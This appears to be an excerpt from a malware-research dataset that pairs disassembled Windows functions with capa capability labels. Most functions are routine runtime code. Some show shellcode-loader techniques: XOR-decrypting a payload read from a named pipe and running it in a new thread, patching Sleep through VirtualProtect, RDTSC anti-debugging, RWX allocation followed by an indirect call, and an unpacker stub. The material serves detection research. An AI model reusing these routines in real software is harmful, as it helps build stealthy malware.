joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110a5
Capabilities:
Manipulate console buffer

Disassembly:
jmp 0x1400121b0
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x128]
lea rcx, [0x1400290f3]
call fcn.140011447
nop
movzx eax, word [rbp + 0x108]
mov word [rbp + 4], ax
movzx eax, word [rbp + 0x110]
mov word [rbp + 6], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, dword [rbp + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14001fc00]
call fcn.1400113ca
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011271
Capabilities:
Terminate process

Disassembly:
jmp 0x140018410
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011320
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019760
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019780
xor al, al
jmp 0x140019801
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019793
xor al, al
jmp 0x140019801
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400197bd
xor al, al
jmp 0x140019801
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400197d1
xor al, al
jmp 0x140019801
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400197e3
xor al, al
jmp 0x140019801
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400197ff
xor al, al
jmp 0x140019801
mov al, 1
add rsp, 0x38
ret
Function at 0x140017640
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001146f
movzx eax, al
test eax, eax
jne 0x140017660
mov ecx, 7
call fcn.1400113d4
nop
mov byte [rsp + 0x20], 0
call fcn.1400113e8
mov byte [rsp + 0x21], al
cmp dword [0x140023878], 1
jne 0x140017684
mov ecx, 7
call fcn.1400113d4
nop
jmp 0x1400176dc
cmp dword [0x140023878], 0
jne 0x1400176d7
mov dword [0x140023878], 1
lea rdx, [0x14001f660]
lea rcx, [0x14001f330]
call fcn.140011217
test eax, eax
je 0x1400176b8
mov eax, 0xff
jmp 0x1400177e1
lea rdx, [0x14001f220]
lea rcx, [section..rdata]
call fcn.1400113de
mov dword [0x140023878], 2
jmp 0x1400176dc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400113bb
call fcn.140011343
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140017739
mov rcx, qword [rsp + 0x30]
call fcn.1400111c7
movzx eax, al
test eax, eax
je 0x140017739
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002a020]
nop
call fcn.14001137f
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001776d
mov rcx, qword [rsp + 0x38]
call fcn.1400111c7
movzx eax, al
test eax, eax
je 0x14001776d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001142e
nop
call fcn.140017890
mov dword [rsp + 0x28], eax
call fcn.140011320
movzx eax, al
test eax, eax
jne 0x14001778c
mov ecx, dword [rsp + 0x28]
call fcn.140011073
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001779b
call fcn.140011438
nop
xor edx, edx
mov cl, 1
call fcn.1400111b3
mov eax, dword [rsp + 0x28]
jmp 0x1400177e1
add rsp, 0x68
ret
Function at 0x2fbac1408
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
mov esi, r8d
cmp r8d, 2
jne 0x2fbac1474
mov dword [0x2fbb17040], 0x10
mov eax, 0xe2ff41
movups xmm0, xmmword [rcx]
mov qword [rsp + 0x20], 0xba49
shl rax, 0x28
mov qword [rsp + 0x25], rax
movups xmmword [0x2fbb17044], xmm0
movups xmm1, xmmword [rcx]
mov qword [rsp + 0x22], rdx
mov rax, qword [rsp + 0x20]
movups xmmword [0x2fbb17054], xmm1
mov qword [0x2fbb17054], rax
mov rax, qword [rsp + 0x25]
mov qword [0x2fbb17059], rax
mov ebp, dword [0x2fbb17040]
xor eax, eax
lea r13, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x20], eax
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r13
mov r8d, 0x40
mov r14, rbp
mov rdx, rbp
call r12
test eax, eax
je 0x2fbac151f
test esi, esi
lea rsi, [0x2fbb17044]
mov rdi, rbx
mov rcx, rbp
lea rax, [rsi + 0x10]
cmovne rsi, rax
cmp qword [0x2fbb17068], 0
rep movsb byte [rdi], byte [rsi]
jne 0x2fbac14ec
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x2fbb17068], rax
mov rsi, qword [0x2fbb17068]
test rsi, rsi
je 0x2fbac1509
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, r14d
mov rdx, rbx
mov rcx, rax
call rsi
mov r8d, dword [rsp + 0x20]
mov r9, r13
mov rdx, rbp
mov rcx, rbx
call r12
mov eax, 1
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x2fbac15d3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 2
lea rdx, [0x2fbac152e]
jmp fcn.2fbac1408

Function at 0x2fbac15ec
Capabilities:
Create thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbp, rcx
mov esi, edx
mov ecx, 0x40000
xor edx, edx
mov r12, r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8d, 0xa
xor edx, edx
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test esi, esi
jle 0x2fbac163d
movsxd r9, esi
mov r8, rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x2fbac1659
mov rdx, rax
and edx, 7
mov dl, byte [r12 + rdx]
xor dl, byte [rbp + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x2fbac163f
call fcn.2fbac15d3
mov rcx, rbx
mov r9, rbx
lea r8, [0x2fbac13b7]
call fcn.2fbac13d6
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x2fbac16d0
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 2
mov qword [rsp + 0x38], rcx
lea rcx, [0x2fbb17080]
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r8d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x2fbac176f
xor edx, edx
mov rcx, rbx
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x2fbac176f
test esi, esi
jle 0x2fbac1759
xor eax, eax
mov r9, rbp
mov r8d, esi
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x2fbac1764
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x2fbac176f
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub esi, edx
jmp 0x2fbac1738
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x2fbac1796
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 0x80000000
lea rbp, [rsp + 0x4c]
mov qword [rsp + 0x30], rcx
lea rcx, [0x2fbb17080]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
cmp rsi, 0xffffffffffffffff
je 0x2fbac1827
test ebx, ebx
jle 0x2fbac180c
xor eax, eax
mov r9, rbp
mov r8d, ebx
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x2fbac181c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x2fbac1827
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub ebx, edx
jmp 0x2fbac17eb
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x2fbac1888
Capabilities:
Create thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, qword [0x2fbb14670]
movsxd rcx, dword [rsi + 4]
call sub.msvcrt.dll_malloc
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, rax
mov ecx, 0x400
call rdi
mov edx, dword [rsi + 4]
mov rcx, rbx
call fcn.2fbac1796
test eax, eax
je 0x2fbac1851
mov edx, dword [rsi + 4]
lea r8, [rsi + 8]
mov rcx, rbx
call fcn.2fbac15ec
mov rcx, rbx
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x2fbb17080]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cnetsvc_d
call fcn.2fbac16a0
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor r9d, r9d
lea r8, [0x2fbac1778]
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x2fbac1830
Function at 0x2fbac1947
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x2fbac1977
xor edx, edx
xor eax, eax
mov qword [0x2fbb170c0], rcx
xor r9d, r9d
mov dword [rsp + 0x20], edx
lea r8, [0x2fbac1930]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x2fbac1b60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2fbac7660
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.2fbac7660
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x2fbac1bd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x2fbb17114]
mov rbx, rcx
test esi, esi
jle 0x2fbac1d00
mov rax, qword [0x2fbb17118]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2fbac1c1b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2fbac1ca5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2fbac1c00
mov rcx, rbx
call fcn.2fbac2430
mov rdi, rax
test rax, rax
je 0x2fbac1d22
mov rax, qword [0x2fbb17118]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.2fbac2570
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x2fbb17118]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2fbac1d07
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x2fbac1c9e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x2fbac1cb0
add dword [0x2fbb17114], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x2fbb17118]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2fbac1c9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2fbac1b60
nop dword [rax]
xor esi, esi
jmp 0x2fbac1c28
mov rax, qword [0x2fbb17118]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2fbac1b60
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.2fbac1b60
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x2fbac20a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x2fbb17140]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2fbb17120]
test rbx, rbx
je 0x2fbac20fc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x2fbac20f3
test eax, eax
jne 0x2fbac20f3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2fbac20d8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x2fbac2430
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2fbb145a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2fbac2450
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2fbac2458
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2fbac2450
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x2fbac24ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2fbac24a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2fbac2450
add rax, 0x28
cmp rax, r9
jne 0x2fbac2490
xor eax, eax
ret

Function at 0x2fbac24b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2fbb145a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x2fbac24cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2fbac24d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x2fbac24cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x2fbac2570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2fbb145a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x2fbac258f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x2fbac2598
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14000203c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002086
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002086
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002086
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002086
cmp dword [rcx + 0x84], 0xe
jbe 0x140002086
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002088
xor al, al
add rsp, 0x28
ret
Function at 0x14009f520
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14009f52d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14009f53d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14009f525
lea eax, [rcx + 1]
jmp 0x14009f54b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14009f55e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14009f544
sub eax, 3
jb 0x14009f57e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14009f5cd
sar eax, 1
movsxd rbp, eax
jb 0x14009f5b4
jmp 0x14009f58c
add ebx, ebx
jne 0x14009f58a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14009f5b4
inc ecx
add ebx, ebx
jne 0x14009f59a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14009f5b4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14009f5ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14009f59c
add ecx, 2
jmp 0x14009f5b9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14009f4e2
jmp 0x14009f52d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x46800
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14009f619
cmp rsi, rcx
jae 0x14009f621
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14009f600
cmp al, 0x8f
ja 0x14009f600
cmp byte [rsi - 2], 0xf
je 0x14009f606
sub al, 0xe8
cmp al, 1
ja 0x14009f5ea
cmp rsi, rcx
jae 0x14009f621
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14009f5f0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14009f621
lodsb al, byte [rsi]
jmp 0x14009f600
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x9c000]
mov eax, dword [rdi]
or eax, eax
je 0x14009f68a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xc6624]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14009f62e
jns 0x14009f663
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14009f66d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14009f684
mov qword [rbx], rax
add rbx, 8
jmp 0x14009f64e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14009f6c4
cmp al, 0xef
ja 0x14009f6b6
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14009f696
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14009f6a5
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x247]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14009f718
sub rsp, 0xffffffffffffff80
jmp 0x140032ee0
Function at 0x14001125d
Capabilities:
Terminate process

Disassembly:
jmp 0x140013bf0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011302
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014f40
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014f60
xor al, al
jmp 0x140014fe1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014f73
xor al, al
jmp 0x140014fe1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014f9d
xor al, al
jmp 0x140014fe1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014fb1
xor al, al
jmp 0x140014fe1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014fc3
xor al, al
jmp 0x140014fe1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014fdf
xor al, al
jmp 0x140014fe1
mov al, 1
add rsp, 0x38
ret
Function at 0x140012e10
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011447
movzx eax, al
test eax, eax
jne 0x140012e30
mov ecx, 7
call fcn.1400113bb
nop
mov byte [rsp + 0x20], 0
call fcn.1400113cf
mov byte [rsp + 0x21], al
cmp dword [0x14001f868], 1
jne 0x140012e54
mov ecx, 7
call fcn.1400113bb
nop
jmp 0x140012eac
cmp dword [0x14001f868], 0
jne 0x140012ea7
mov dword [0x14001f868], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.1400111f4
test eax, eax
je 0x140012e88
mov eax, 0xff
jmp 0x140012fb1
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.1400113c5
mov dword [0x14001f868], 2
jmp 0x140012eac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400113a7
call fcn.14001132a
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012f09
mov rcx, qword [rsp + 0x30]
call fcn.1400111a4
movzx eax, al
test eax, eax
je 0x140012f09
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.140011361
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140012f3d
mov rcx, qword [rsp + 0x38]
call fcn.1400111a4
movzx eax, al
test eax, eax
je 0x140012f3d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011406
nop
call fcn.140013060
mov dword [rsp + 0x28], eax
call fcn.140011302
movzx eax, al
test eax, eax
jne 0x140012f5c
mov ecx, dword [rsp + 0x28]
call fcn.140011069
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140012f6b
call fcn.140011410
nop
xor edx, edx
mov cl, 1
call fcn.140011190
mov eax, dword [rsp + 0x28]
jmp 0x140012fb1
add rsp, 0x68
ret
Function at 0x1400010f9
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
nop
cpuid
nop
mov eax, 1
nop
cpuid
nop
movabs r9, 0xb2d05e00
nop
cpuid
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
mov rcx, rax
nop
fldpi
nop
frndint
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
sub rax, rcx
nop
cmp rax, r9
nop
jb 0x140001126
nop
nop
push rbp
nop
mov rbp, rsp
nop
sub rsp, 8
nop
mov r10, 0xa
nop
mov rcx, 0xffffffff9f345678
nop
dec rcx
nop
xor r9, r9
nop
mov rax, rcx
nop
jne 0x14000115f
nop
xor rax, rax
nop
mov rax, rbx
nop
add rax, rdx
nop
dec r10
nop
xor r11, r11
nop
jne 0x140001156
nop
xor rax, rax
mov rax, 0xa
nop
dec rax
nop
add rsp, 8
pop rbp
ret

Function at 0x1400039af
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
xor rcx, rcx
mov rdx, 0xaa97
mov r8, 0x1000
mov r9, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140003b21
mov rdi, rax
call 0x1400039e6
pop rsi
add rsi, 0x18b0a
mov rcx, 0xaa97
rep movsb byte [rdi], byte [rsi]
call rax
mov qword [rsp + 0x20], rax
mov r8, rsi
lea rdx, [rbp - 0x28]
call fcn.14000ed80
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140003cd3
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003cfa
call 0x1400be390
jmp 0x140003cd3
mov ebx, eax
jmp 0x140003cd3
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call 0x1400be370
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call 0x1400e36c0
int3